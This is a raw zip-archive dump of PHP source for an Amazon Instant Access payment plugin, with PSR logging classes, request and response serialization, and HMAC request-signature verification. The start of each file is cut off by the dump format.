public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } } PK\l$ӥ882payment/amazon-instant-access/Psr/Log/LogLevel.phpnu[payment/amazon-instant-access/Psr/Log/LoggerAwareInterface.phpnu[log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * @return null */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * @return null */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * @return null */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * @return null */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * @return null */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * @return null */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * @return null */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * @return null */ abstract public function log($level, $message, array $context = array()); } PK\>4payment/amazon-instant-access/Psr/Log/NullLogger.phpnu[logger) { }` * blocks. */ class NullLogger extends AbstractLogger { /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * @return null */ public function log($level, $message, array $context = array()) { // noop } } PK\U))7payment/amazon-instant-access/amazon-instant-access.phpnu[paysystemList->getList() as $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->productTable->customFields()->add( new Am_CustomFieldText( 'aic_product_id', "Amazon Instant Access Product Id", "" , array() )); } public function _initSetupForm(Am_Form_Setup $form) { $form->setTitle('Amazon Instant Access'); $form->addText('public_key', array('size' => 40)) ->setLabel('Your AIA Public Key') ->addRule('required'); $form->addText('private_key', array('size' => 40)) ->setLabel('Your AIA Provate Key') ->addRule('required'); } public function canAutoCreate() { return true; } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function getConfig($key = null, $default = null) { switch ($key) { case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } public function isConfigured() { return (bool) ($this->getConfig('public_key') && $this->getConfig('private_key')); } public function isNotAcceptableForInvoice(Invoice $invoice) { } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { } public function getRecurringType() { return self::REPORTS_EOT; } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $this->loadAmazonLib(); Logger::setLogger(new AmLogger()); $credentialStore = new CredentialStore(); $credentialStore->load($this->getConfig('private_key') . " " . $this->getConfig('public_key')); $signer = new Signer(); if(!$signer->verify(new Request($_SERVER, $request->getRawBody()), $credentialStore)) { $response->setHeader("HTTP/1.1 403 Forbidden", 403, true); $response->setBody(''); return; } $post = json_decode($request->getRawBody(),true); $header = array( 'name' => "HTTP/1.1 500 Internal Server Error", 'value' => 500, 'replace' => true ); $out = ""; switch ($request->getActionName()) { case 'link': if($post['operation'] == 'GetUserId' && !empty($post['infoField1'])) { $header = array( 'name' => "HTTP/1.1 200 OK", 'value' => 200, 'replace' => true ); if($user = $this->getDi()->userTable->findFirstByEmail($post['infoField1'])) { $out = array('response' => 'OK', 'userId' => $user->pk()); } else { $out = array('response' => 'FAIL_ACCOUNT_INVALID'); } } break; case 'purchase': $invoiceLog = $this->_logDirectAction($request, $response, $invokeArgs); switch ($post['operation']) { case 'Purchase': $transaction = new Am_Paysystem_Transaction_AmazonInstantAccess_Purchase($this, $request, $response, $invokeArgs); break; case 'Revoke': $transaction = new Am_Paysystem_Transaction_AmazonInstantAccess_Revoke($this, $request, $response, $invokeArgs); break; case 'SubscriptionActivate': $transaction = new Am_Paysystem_Transaction_AmazonInstantAccess_SubsAct($this, $request, $response, $invokeArgs); break; case 'SubscriptionDeactivate': $transaction = new Am_Paysystem_Transaction_AmazonInstantAccess_SubsDeact($this, $request, $response, $invokeArgs); break; default: $transaction = null; break; } if($transaction) { $transaction->setInvoiceLog($invoiceLog); try { $transaction->process(); $invoiceLog->setProcessed(); } catch (Exception $e) { if ($invoiceLog) { $invoiceLog->add($e); } break; } $header = array( 'name' => "HTTP/1.1 200 OK", 'value' => 200, 'replace' => true ); $out = array('response' => 'OK'); } break; } $response->setHeader($header['name'], $header['value'], $header['replace']); $response->setBody(json_encode($out)); return; } protected function loadAmazonLib() { require_once __DIR__ . '/autoload.php'; require_once __DIR__ . '/AmLogger.php'; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function getReadme() { $u1 = $this->getPluginUrl('link'); $u2 = $this->getPluginUrl('purchase'); return <<$u1 Fulfillment API Endpoint $u2 CUT; } } abstract class Am_Paysystem_Transaction_AmazonInstantAccess extends Am_Paysystem_Transaction_Incoming { protected $post; public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { $this->post = json_decode($request->getRawBody(),true); parent::__construct($plugin, $request, $response, $invokeArgs); } public function getReceiptId() { return $this->getUniqId(); } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } protected function getAutoInvoice() { if (!($prId = $this->post['productId'])) return null; if( !($product = $this->plugin->getDi()->productTable->findFirstByData('aic_product_id', $prId)) && !($product = $this->plugin->getDi()->productTable->load($prId, false)) ) return null; if (!($uId = $this->post['userId'])) return null; if(!($user = $this->plugin->getDi()->userTable->load($uId, false))) return null; $invoice = $this->getPlugin()->getDi()->invoiceRecord; $invoice->setUser($user); $invoice->add($product); $invoice->calculate(); $invoice->paysys_id = $this->plugin->getId(); $invoice->insert(); if ($this->log) { $this->log->updateQuick(array( 'invoice_id' => $invoice->pk(), 'user_id' => $user->user_id, )); } return $invoice; } } class Am_Paysystem_Transaction_AmazonInstantAccess_Purchase extends Am_Paysystem_Transaction_AmazonInstantAccess { public function autoCreateInvoice() { $invoice = $this->getAutoInvoice(); $invoice->data()->set('purchaseToken', $this->getUniqId())->update(); return $invoice; } public function getUniqId() { return $this->post['purchaseToken']; } public function processValidated() { $this->invoice->addPayment($this); } public function findInvoiceId() { } } class Am_Paysystem_Transaction_AmazonInstantAccess_Revoke extends Am_Paysystem_Transaction_AmazonInstantAccess { public function getUniqId() { return $this->post['purchaseToken'] . "-refund"; } public function processValidated() { $this->invoice->addRefund($this, $this->post['purchaseToken']); } public function findInvoiceId() { if($invoice = $this->plugin->getDi()->invoiceTable->findFirstByData('purchaseToken', $this->post['purchaseToken'])) return $invoice->public_id; } } class Am_Paysystem_Transaction_AmazonInstantAccess_SubsAct extends Am_Paysystem_Transaction_AmazonInstantAccess { function autoCreateInvoice() { $invoice = $this->getAutoInvoice(); $invoice->data()->set('subscriptionId', $this->getUniqId())->update(); return $invoice; } public function getUniqId() { return $this->post['subscriptionId']; } public function processValidated() { $this->invoice->addPayment($this); } public function findInvoiceId() { } } class Am_Paysystem_Transaction_AmazonInstantAccess_SubsDeact extends Am_Paysystem_Transaction_AmazonInstantAccess { public function getUniqId() { return $this->post['subscriptionId'] . "-cancel"; } public function processValidated() { $this->invoice->stopAccess($this); $this->invoice->setCancelled(true); } public function findInvoiceId() { if($invoice = $this->plugin->getDi()->invoiceTable->findFirstByData('subscriptionId', $this->post['subscriptionId'])) return $invoice->public_id; } } PK\*payment/amazon-instant-access/autoload.phpnu[setPurchaseToken($jsonObject->purchaseToken); $newObject->setUserId($jsonObject->userId); $newObject->setProductId($jsonObject->productId); $newObject->setReason($jsonObject->reason); }; $object = parent::createFromJson($jsonString, $callback); return $object; } public function getPurchaseToken() { return $this->purchaseToken; } public function setPurchaseToken($purchaseToken) { $this->purchaseToken = $purchaseToken; return $this; } public function getUserId() { return $this->userId; } public function setUserId($userId) { $this->userId = $userId; return $this; } public function getProductId() { return $this->productId; } public function setProductId($productId) { $this->productId = $productId; return $this; } public function getReason() { return $this->reason; } /** * Set the request reason. * * @param string a string representation of the reason * * @see Amazon\InstantAccess\Serialization\Enums\FulfillPurchaseReasonValue For reason values */ public function setReason($reason) { if (!FulfillPurchaseReasonValue::isValid($reason)) { throw new \InvalidArgumentException(sprintf('Invalid reason value: %s', $reason)); } $this->reason = $reason; return $this; } } PK\A?(cpayment/amazon-instant-access/Amazon/InstantAccess/Serialization/SubscriptionDeactivateResponse.phpnu[response = $response; return $this; } } PK\nI(C C Ypayment/amazon-instant-access/Amazon/InstantAccess/Serialization/InstantAccessRequest.phpnu[setOperation($jsonObject->operation); // and the specific fields if ($callback && is_callable($callback)) { $callback($newObject, $jsonObject); } } catch (\Exception $e) { throw new \InvalidArgumentException( sprintf('Unable to deserialized object: %s. %s', $type, $e->getMessage()) ); } return $newObject; } public function getOperation() { return $this->operation; } /** * Set the request operation * * @param string a string representation of the operation * * @see Amazon\InstantAccess\Serialization\Enums\InstantAccessOperationValue For operation values */ public function setOperation($operation) { if (!InstantAccessOperationValue::isValid($operation)) { throw new \InvalidArgumentException(sprintf('Invalid operation value: %s', $reason)); } $this->operation = $operation; return $this; } } PK\ZK K Zpayment/amazon-instant-access/Amazon/InstantAccess/Serialization/RevokePurchaseRequest.phpnu[setPurchaseToken($jsonObject->purchaseToken); $newObject->setUserId($jsonObject->userId); $newObject->setProductId($jsonObject->productId); $newObject->setReason($jsonObject->reason); }; $object = parent::createFromJson($jsonString, $callback); return $object; } public function getPurchaseToken() { return $this->purchaseToken; } public function setPurchaseToken($purchaseToken) { $this->purchaseToken = $purchaseToken; return $this; } public function getUserId() { return $this->userId; } public function setUserId($userId) { $this->userId = $userId; return $this; } public function getProductId() { return $this->productId; } public function setProductId($productId) { $this->productId = $productId; return $this; } public function getReason() { return $this->reason; } /** * Set the request reason * * @param string a string representation of the reason * * @see Amazon\InstantAccess\Serialization\Enums\RevokePurchaseReasonValue For reason values */ public function setReason($reason) { if (!RevokePurchaseReasonValue::isValid($reason)) { throw new \InvalidArgumentException(sprintf('Invalid reason value: %s', $reason)); } $this->reason = $reason; return $this; } } PK\gQ#apayment/amazon-instant-access/Amazon/InstantAccess/Serialization/SubscriptionActivateResponse.phpnu[response = $response; return $this; } } PK\^ bpayment/amazon-instant-access/Amazon/InstantAccess/Serialization/SubscriptionDeactivateRequest.phpnu[setSubscriptionId($jsonObject->subscriptionId); $newObject->setReason($jsonObject->reason); $newObject->setPeriod($jsonObject->period); }; $object = parent::createFromJson($jsonString, $callback); return $object; } public function getSubscriptionId() { return $this->subscriptionId; } public function setSubscriptionId($subscriptionId) { $this->subscriptionId = $subscriptionId; return $this; } public function getReason() { return $this->reason; } /** * Set the request reason * * @param string a string representation of the reason * * @see Amazon\InstantAccess\Serialization\Enums\SubscriptionDeactivateReasonValue For reason values */ public function setReason($reason) { if (!SubscriptionDeactivateReasonValue::isValid($reason)) { throw new \InvalidArgumentException(sprintf('Invalid reason value: %s', $reason)); } $this->reason = $reason; return $this; } public function getPeriod() { return $this->period; } /** * Set the request period * * @param string a string representation of the period * * @see Amazon\InstantAccess\Serialization\Enums\SubscriptionDeactivatePeriodValue For period values */ public function setPeriod($period) { if (!SubscriptionDeactivatePeriodValue::isValid($period)) { throw new \InvalidArgumentException(sprintf('Invalid period value: %s', $reason)); } $this->period = $period; return $this; } } PK\getConstants(); } /** * Check if $name is a value supported by the enum * * @param string $name a string * @return boolean true if $name is a valid value in this enum, false otherwise */ public static function isValid($name) { return in_array($name, self::getConstants()); } } PK\apayment/amazon-instant-access/Amazon/InstantAccess/Serialization/Enums/GetUserIdResponseValue.phpnu[setInfoField1($jsonObject->infoField1); // optional field if (isset($jsonObject->infoField2)) { $newObject->setInfoField2($jsonObject->infoField2); } // optional field if (isset($jsonObject->infoField3)) { $newObject->setInfoField3($jsonObject->infoField3); } }; $object = parent::createFromJson($jsonString, $callback); return $object; } public function getInfoField1() { return $this->infoField1; } public function setInfoField1($infoField1) { $this->infoField1 = $infoField1; return $this; } public function getInfoField2() { return $this->infoField2; } public function setInfoField2($infoField2) { $this->infoField2 = $infoField2; return $this; } public function getInfoField3() { return $this->infoField3; } public function setInfoField3($infoField3) { $this->infoField3 = $infoField3; return $this; } } PK\B B `payment/amazon-instant-access/Amazon/InstantAccess/Serialization/SubscriptionActivateRequest.phpnu[setSubscriptionId($jsonObject->subscriptionId); $newObject->setProductId($jsonObject->productId); $newObject->setUserId($jsonObject->userId); }; $object = parent::createFromJson($jsonString, $callback); return $object; } public function getSubscriptionId() { return $this->subscriptionId; } public function setSubscriptionId($subscriptionId) { $this->subscriptionId = $subscriptionId; return $this; } public function getProductId() { return $this->productId; } public function setProductId($productId) { $this->productId = $productId; return $this; } public function getUserId() { return $this->userId; } public function setUserId($userId) { $this->userId = $userId; return $this; } } PK\ǑttVpayment/amazon-instant-access/Amazon/InstantAccess/Serialization/GetUserIdResponse.phpnu[response = $response; return $this; } public function getUserId() { return $this->userId; } public function setUserId($userId) { $this->userId = $userId; return $this; } } PK\_Zpayment/amazon-instant-access/Amazon/InstantAccess/Serialization/InstantAccessResponse.phpnu[response; } public function setResponse($response) { $this->response = $response; return $this; } } PK\[payment/amazon-instant-access/Amazon/InstantAccess/Serialization/RevokePurchaseResponse.phpnu[response = $response; return $this; } } PK\?߉\payment/amazon-instant-access/Amazon/InstantAccess/Serialization/FulfillPurchaseResponse.phpnu[response = $response; return $this; } } PK\8Kpayment/amazon-instant-access/Amazon/InstantAccess/Signature/Credential.phpnu[secretKey = $secretKey; $this->publicKey = $publicKey; } /** * Gets the secret key. * * @return string the secret key */ public function getSecretKey() { return $this->secretKey; } /** * Gets the public key. * * @return string the public key */ public function getPublicKey() { return $this->publicKey; } } PK\dPTpayment/amazon-instant-access/Amazon/InstantAccess/Signature/AuthorizationHeader.phpnu[ * Authorization: ALGORITHM Credential=CREDENTIAL, SignedHeaders=SIGNED_HEADERS, Signature=SIGNATURE * * * Where: * ALGORITHM := The signing algorithm used for the credential, ex. DTAv1-SHA-256 * CREDENTIAL := KEYID/DATE. * SIGNED_HEADERS := lower cased header names sorted by byte order joined with semicolons. * SIGNATURE := The signature calculated by the signing algorithm. * KEYID := The public id for the sceret key used to calculate the signature. * DATE := The date the message was signed in YYMMDD format. This is used to generate the daily key. */ class AuthorizationHeader { /** @var string */ private $algorithm; /** @var string */ private $credential; /** @var string */ private $signedHeaders; /** @var string */ private $signature; const AUTHORIZATION_HEADER_PATTERN = '/(\S+) SignedHeaders=(\S+), Credential=(\S+), Signature=([\S]+)$/'; /** * Parses header value string an returns a new object. * * @param string $headerString the string representation of the Authentication header * * @return AuthorizationHeader a new {@link AuthorizationHeader} object if header is valid * * @throws InvalidArgumentException if unable to parse header */ public static function parse($headerString) { if (empty($headerString)) { throw new \InvalidArgumentException('Invalid authorization header.'); } preg_match(self::AUTHORIZATION_HEADER_PATTERN, $headerString, $matches); if (!$matches) { throw new \InvalidArgumentException('Unable to parse authorization header.'); } // split headers by ';' and convert them to lower case $signedHeaders = array_map('strtolower', explode(';', $matches[2])); // the credential should follow this pattern: PUBLIC_KEY_ID/DATE $credential = explode('/', $matches[3]); if (count($credential) < 2) { throw new \InvalidArgumentException('Invalid credential format.'); } $credential = array('key' => $credential[0], 'date' => $credential[1]); // the algorithm used to generate the signature $algorithm = $matches[1]; // the signature of the request $signature = $matches[4]; $header = new AuthorizationHeader( $algorithm, $signedHeaders, $credential, $signature ); return $header; } public function __construct($algorithm, $signedHeaders, $credential, $signature) { if (empty($algorithm)) { throw new \InvalidArgumentException('Empty algorithm information.'); } if (!is_array($signedHeaders)) { throw new \InvalidArgumentException('Invalid signed headers array.'); } if (!is_array($credential) || !array_key_exists('key', $credential) || !array_key_exists('date', $credential)) { throw new \InvalidArgumentException('Invalid credential information.'); } if (empty($signature)) { throw new \InvalidArgumentException('Empty signature information.'); } $this->algorithm = $algorithm; $this->signedHeaders = $signedHeaders; $this->credential = $credential; $this->signature = $signature; } public function getAlgorithm() { return $this->algorithm; } public function getCredential() { return $this->credential; } public function getSignedHeaders() { return $this->signedHeaders; } public function getSignature() { return $this->signature; } public function __tostring() { $str = $this->algorithm . ' '; $str .= 'SignedHeaders=' . implode(';', $this->signedHeaders) . ', '; $str .= 'Credential=' . $this->credential['key'] . '/'. $this->credential['date'] .', '; $str .= 'Signature=' . $this->signature; return $str; } } PK\&  Hpayment/amazon-instant-access/Amazon/InstantAccess/Signature/Request.phpnu[url = HttpUtils::parseFullURL($server); $this->method = $server['REQUEST_METHOD']; $this->headers = HttpUtils::parseRequestHeaders($server); $this->body = $requestBody; } public function getUrl() { return $this->url; } public function getMethod() { return $this->method; } public function getBody() { return $this->body; } public function &getHeaders() { return $this->headers; } /** * Remove headers that are present in $filter * * @param array $filter array of headers to be removed from this request */ public function filterHeaders(array $filter) { $this->headers = array_diff_key($this->headers, array_flip($filter)); } /** * @return string a human-friendly string representation of the Request */ public function __tostring() { $headersStr = implode( ', ', array_map( function ($v, $k) { return sprintf("%s:'%s'", $k, $v); }, $this->getHeaders(), array_keys($this->getHeaders()) ) ); $bodyStr = trim(preg_replace('/\s+/', ' ', $this->getBody())); return sprintf( 'Method: %s, Url: %s, Headers: %s, Body: %s', $this->getMethod(), $this->getMethod(), $headersStr, $bodyStr ); } } PK\(,Ppayment/amazon-instant-access/Amazon/InstantAccess/Signature/CredentialStore.phpnu[store)) { return null; } return $this->store[$publicKey]; } /** * Gets the credentials stored in this store. * * @return array an array with all the credentials */ public function getAll() { return $this->store; } /** * Adds the new credential to the store. If the store already contains the public key, the credential is replaced. * * @param Credential credential the credential object to be added */ public function add(Credential $credential) { $this->store[$credential->getPublicKey()] = $credential; } /** * Removes the credential from the store. * * @param string $publicKey the public key of the credential to be removed */ public function remove($publicKey) { unset($this->store[$publicKey]); } /** * Loads keys from a file and populates the store. * * Each line of the file must contain a secret key and a public key separated by an empty space. * * @param string $filePath the path of the file that contains the keys * * @throws InvalidArgumentException if the file does not exist */ public function loadFromFile($filePath) { if (empty($filePath) || !file_exists($filePath)) { $message = 'Invalid keys file path'; throw new \InvalidArgumentException($message); } $contents = file_get_contents($filePath); $this->load($contents); } /** * Loads keys from a string and populates the store. * * Each line of the file must contain a secret key and a public key separated by an empty space. * * @param string $contents the string object that contains the keys * * @throws InvalidArgumentException if the content is empty or malformed */ public function load($contents) { if (empty($contents)) { $message = 'Empty key container'; throw new \InvalidArgumentException($message); } $lines = explode(PHP_EOL, $contents); foreach ($lines as $i => $line) { // Ignore blank lines in between credentials if (!$line) { continue; } // credentials should be separate by an empty space $keys = preg_split('/\s+/', $line); // Invalid format if (count($keys) < 2) { $message = 'Invalid credentials format found on line ' . $i; throw new \InvalidArgumentException($message); } $secretKey = $keys[0]; $publicKey = $keys[1]; $this->store[$publicKey] = new Credential($secretKey, $publicKey); } } } PK\%%Gpayment/amazon-instant-access/Amazon/InstantAccess/Signature/Signer.phpnu[format(DateUtils::DATE_FORMAT_SHORT); $isoDate = $dateNow->format(DateUtils::DATE_FORMAT_ISO8601); $headers = &$request->getHeaders(); $headers[HttpUtils::X_AMZ_DATE_HEADER] = $isoDate; // Remove the Authorization header from the request, since it could have been set if sign() was previously // called on this request. unset($headers[HttpUtils::AUTHORIZATION_HEADER]); $authorizationHeader = $this->getAuthorizationHeader($request, $credential, $shortDate, $isoDate); Logger::getLogger()->debug(sprintf('Signing request with header: %s', $authorizationHeader)); $headers[HttpUtils::AUTHORIZATION_HEADER] = $authorizationHeader; } /** * Verifies the request signature against a credential store. * * @param Request $request the request to verify. * @param CredentialStore $credentialStore the credential store used to verify the request. * * @return boolean returns true if the request validates. */ public function verify(Request $request, CredentialStore $credentialStore) { if (count($credentialStore->getAll()) == 0) { throw new \InvalidArgumentException('Empty credential store.'); } $dateNow = new \DateTime('@' . time()); $shortDate = $dateNow->format(DateUtils::DATE_FORMAT_SHORT); $headers = $request->getHeaders(); if (!isset($headers[HttpUtils::X_AMZ_DATE_HEADER])) { Logger::getLogger()->warning( sprintf('Header %s not found, aborting request verification.', HttpUtils::X_AMZ_DATE_HEADER) ); return false; } $requestIsoDate = $headers[HttpUtils::X_AMZ_DATE_HEADER]; if (!isset($headers[HttpUtils::AUTHORIZATION_HEADER])) { Logger::getLogger()->warning( sprintf('Header %s not found, aborting request verification.', HttpUtils::AUTHORIZATION_HEADER) ); return false; } $actualAuthorization = $headers[HttpUtils::AUTHORIZATION_HEADER]; $authorizationHeader = null; try { $authorizationHeader = AuthorizationHeader::parse($actualAuthorization); } catch (\InvalidArgumentException $e) { Logger::getLogger()->warning( sprintf('Unable to parse Authorization header, aborting request verification.') ); return false; } $signedHeaders = $authorizationHeader->getSignedHeaders(); // remove unsigned headers $unsignedHeaders = array_diff_key(($request->getHeaders()), array_flip($signedHeaders)); $request->filterHeaders(array_keys($unsignedHeaders)); $dateOfRequest = \DateTime::createFromFormat(DateUtils::DATE_FORMAT_ISO8601, $requestIsoDate); $delta = $dateOfRequest->getTimestamp() - $dateNow->getTimestamp(); if (abs($delta) > self::TIME_TOLERANCE_IN_MS) { Logger::getLogger()->warning(sprintf('Time tolerance exceeded, aborting request verification.')); return false; } $credentialInfo = $authorizationHeader->getCredential(); $credential = $credentialStore->get($credentialInfo['key']); if (!$credential) { Logger::getLogger()->warning( sprintf('Public key not found: %s, aborting request verification.', $credentialInfo['key']) ); return false; } if ($dateOfRequest->format(DateUtils::DATE_FORMAT_SHORT) != $credentialInfo['date']) { Logger::getLogger()->warning( sprintf('Request date and credential date don`t match aborting request verification.') ); return false; } $authorizationHeader = $this->getAuthorizationHeader($request, $credential, $shortDate, $requestIsoDate); Logger::getLogger()->debug( sprintf( 'Verifying request with header: %s, against expected header: %s', $actualAuthorization, $authorizationHeader ) ); if ($authorizationHeader == $actualAuthorization) { return true; } else { Logger::getLogger()->warning(sprintf('Authorization signature doesn`t match, verification failed.')); return false; } } /** * Returns the autorization header based on the parameters * * @param Request $request the request to generate the signature from * @param Credential $credential the credential to use when signing * @param string $shortDate the date to use to sign in short format * @param string $isoDate the date to use to sign in iso format * * @return string a string representation of the authorization header */ public function getAuthorizationHeader(Request $request, Credential $credential, $shortDate, $isoDate) { if (!$shortDate || !$isoDate) { throw new \InvalidArgumentException('Invalid dates.'); } $timedKey = hash_hmac('sha256', $shortDate, $credential->getSecretKey(), true); $canonicalRequest = $this->getCanonicalRequest($request); // We don't use scope in this algorithm $scope = ''; $stringToSign = self::ALGORITHM_ID . "\n" . $isoDate . "\n" . $scope . "\n" . hash('sha256', $canonicalRequest); Logger::getLogger()->debug(sprintf('String to sign: %s', $stringToSign)); $signature = hash_hmac('sha256', $stringToSign, $timedKey); $headers = $request->getHeaders(); ksort($headers); $authorizationHeader = new AuthorizationHeader( self::ALGORITHM_ID, array_keys($headers), array('key' => $credential->getPublicKey(), 'date' => $shortDate), $signature ); return $authorizationHeader->__tostring(); } /** * Returns the canonical representation of the request. The canonical request is of the form: * *
         * METHOD
         * CANONICAL_PATH
         * CANONICAL_QUERY_STRING
         * CANONICAL_HEADER_STRING
         * SIGNED_HEADERS
         * CONTENT_HASH
         * 
    * * Which for a get request to http://amazon.com/ would be: * *
         * GET
         * /
         *
         * x-amz-date:20110909T233600Z
         * 230d8358dc8e8890b4c58deeb62912ee2f20357ae92a5cc861b98e68fe31acb5
         * 
    * * @param Request $request the request to canonicalize. * @return string the canonical request. */ private function getCanonicalRequest(Request $request) { // Method $canonicalRequest = $request->getMethod() . "\n"; // Path $url = parse_url($request->getUrl()); $canonicalRequest .= HttpUtils::normalizePath($url['path']) . "\n"; // Query string // TODO: the Java SDK does not add the query string to the canonical form $canonicalRequest .= "\n"; // Headers $headers = array(); foreach ($request->getHeaders() as $key => $value) { $headers[$key] = preg_replace('/\s+/', ' ', trim($value)); } ksort($headers); foreach ($headers as $key => $value) { $canonicalRequest .= $key . ':' . $value . "\n"; } // TODO: the Java SDK adds a empty line after the headers $canonicalRequest .= "\n"; // Signed headers $headers = $request->getHeaders(); ksort($headers); $canonicalRequest .= implode(';', array_keys($headers)) . "\n"; // Content hash $canonicalRequest .= hash('sha256', $request->getBody()); Logger::getLogger()->debug(sprintf('Canonical request: %s', $canonicalRequest)); return $canonicalRequest; } } PK\IUpayment/amazon-instant-access/Amazon/InstantAccess/Controllers/PurchaseController.phpnu[ * {@link PurchaseController::onFulfillPurchase()}
    * {@link PurchaseController::onRevokePurchase()}
    * {@link PurchaseController::onSubscriptionActivate()}
    * {@link PurchaseController::onSubscriptionDeactivate()}
    *
    * The callbacks are called when the {@link Controller::process()} method is invoked. */ class PurchaseController extends Controller { /** @var \Closure */ private $fulfillPurchaseCallback; /** @var \Closure */ private $revokePurchaseCallback; /** @var \Closure */ private $subscriptionActivateCallback; /** @var \Closure */ private $subscriptionDeactivateCallback; /** * Set the callback function for fulfill purchase * * @param \Closure $callback a callable object that receives a {@link FulfillPurchaseRequest} object * and returns a {@link FulfillPurchaseResponse} */ public function onFulfillPurchase(\Closure $callback) { $this->fulfillPurchaseCallback = $callback; } /** * Set the callback function for revoke purchase * * @param \Closure $callback a callable object that receives a {@link RevokePurchaseRequest} object * and returns a {@link RevokePurchaseResponse} */ public function onRevokePurchase(\Closure $callback) { $this->revokePurchaseCallback = $callback; } /** * Set the callback function for subscription activate * * @param \Closure $callback a callable object that receives a {@link SubscriptionActivateRequest} object * and returns a {@link SubscriptionActivateResponse} */ public function onSubscriptionActivate(\Closure $callback) { $this->subscriptionActivateCallback = $callback; } /** * Set the callback function for subscription deactivate * * @param \Closure $callback a callable object that receives a {@link SubscriptionDeactivateRequest} object * and returns a {@link SubscriptionDeactivateResponse} */ public function onSubscriptionDeactivate(\Closure $callback) { $this->subscriptionDeactivateCallback = $callback; } protected function processOperation($operation) { switch ($operation) { case InstantAccessOperationValue::PURCHASE: $callback = $this->fulfillPurchaseCallback; $request = FulfillPurchaseRequest::createFromJson($this->request->getBody()); break; case InstantAccessOperationValue::REVOKE: $callback = $this->revokePurchaseCallback; $request = RevokePurchaseRequest::createFromJson($this->request->getBody()); break; case InstantAccessOperationValue::SUBSCRIPTION_ACTIVATE: $callback = $this->subscriptionActivateCallback; $request = SubscriptionActivateRequest::createFromJson($this->request->getBody()); break; case InstantAccessOperationValue::SUBSCRIPTION_DEACTIVATE: $callback = $this->subscriptionDeactivateCallback; $request = SubscriptionDeactivateRequest::createFromJson($this->request->getBody()); break; default: throw new \InvalidArgumentException( sprintf('Operation %s is not supported by %s', $operation, get_class($this)) ); } if (!$callback) { throw new \UnexpectedValueException(sprintf('Callback not set for %s', $operation)); } $iaResponse = $callback($request); return $iaResponse; } } PK\͋V V [payment/amazon-instant-access/Amazon/InstantAccess/Controllers/AccountLinkingController.phpnu[getUserIdCallback = $callback; } protected function processOperation($operation) { switch ($operation) { case InstantAccessOperationValue::GET_USER_ID: $callback = $this->getUserIdCallback; $request = GetUserIdRequest::createFromJson($this->request->getBody()); break; default: throw new \InvalidArgumentException( sprintf('Operation %s is not supported by %s', $operation, get_class($this)) ); } if (!$callback) { throw new \UnexpectedValueException(sprintf('Callback not set for %s', $operation)); } $iaResponse = $callback($request); return $iaResponse; } } PK\j[vvMpayment/amazon-instant-access/Amazon/InstantAccess/Controllers/Controller.phpnu[credentialStore = $credentialStore; $this->signer = $signer ?: new Signer(); } /** * Processes the specific operation and return a response. * * @param string $operation the name of the operation being processed * * @return InstantAccessResponse an object that extends {@link InstantAccessResponse} object */ abstract protected function processOperation($operation); /** * Processes a request created from $_SERVER and the body of the request. * * At the end this function sets the response headers and writes the content. After calling this, be sure * to write the string returned to the output stream. * * NOTE: This consumes the body of the request which can cause issues when you try and read it again. * * @uses Controller::processOperation() to call the correct callback * * @param array $server the $_SERVER array * @param string|null $requestBody the path/stream of the body of the request, defaults to php://input * * @return string the response string ready to be sent */ public function process(array $server, $requestBody = 'php://input') { try { Logger::getLogger()->info(sprintf('Started processing request received by %s', get_class($this))); // convert all errors to exception so they can be caught and not just break the script set_error_handler( function ($code, $message, $file, $line, $context) { throw new \Exception($message, $code); } ); // read content of request to a string $body = file_get_contents($requestBody); // create request object $this->request = new Request($server, $body); Logger::getLogger()->debug(sprintf('Request: %s', (string)$this->request)); // verify the request againts the credential store if (!$this->signer->verify($this->request, $this->credentialStore)) { throw new \Exception('Request validation failed.'); } // deserialize the content to a InstantAccessRequest object so we can check which operation is going // to be called $iaRequest = InstantAccessRequest::createFromJson($this->request->getBody()); Logger::getLogger()->info(sprintf('Processing request as %s operation', $iaRequest->getOperation())); // process the request according to the operation $iaResponse = $this->processOperation($iaRequest->getOperation()); // check if the response is valid if (!is_subclass_of($iaResponse, 'Amazon\InstantAccess\Serialization\InstantAccessResponse')) { throw new \UnexpectedValueException( 'Invalid response returned by the controller. ' . 'It needs to be a subclass of InstantAccessResponse' ); } HttpUtils::setResponseHeader('HTTP/1.1 200 OK', true, 200); HttpUtils::setResponseHeader('Content-Type: application/json'); $response = $iaResponse->toJson(); Logger::getLogger()->debug(sprintf('Response: %s', $response)); Logger::getLogger()->info(sprintf('Request processed succesfully')); } catch (\Exception $e) { Logger::getLogger()->error(sprintf('Unable to process request: %s', $e)); HttpUtils::setResponseHeader('HTTP/1.1 500 Internal Server Error', true, 500); HttpUtils::setResponseHeader('Content-Type: text/plain'); $response = ''; } // restore 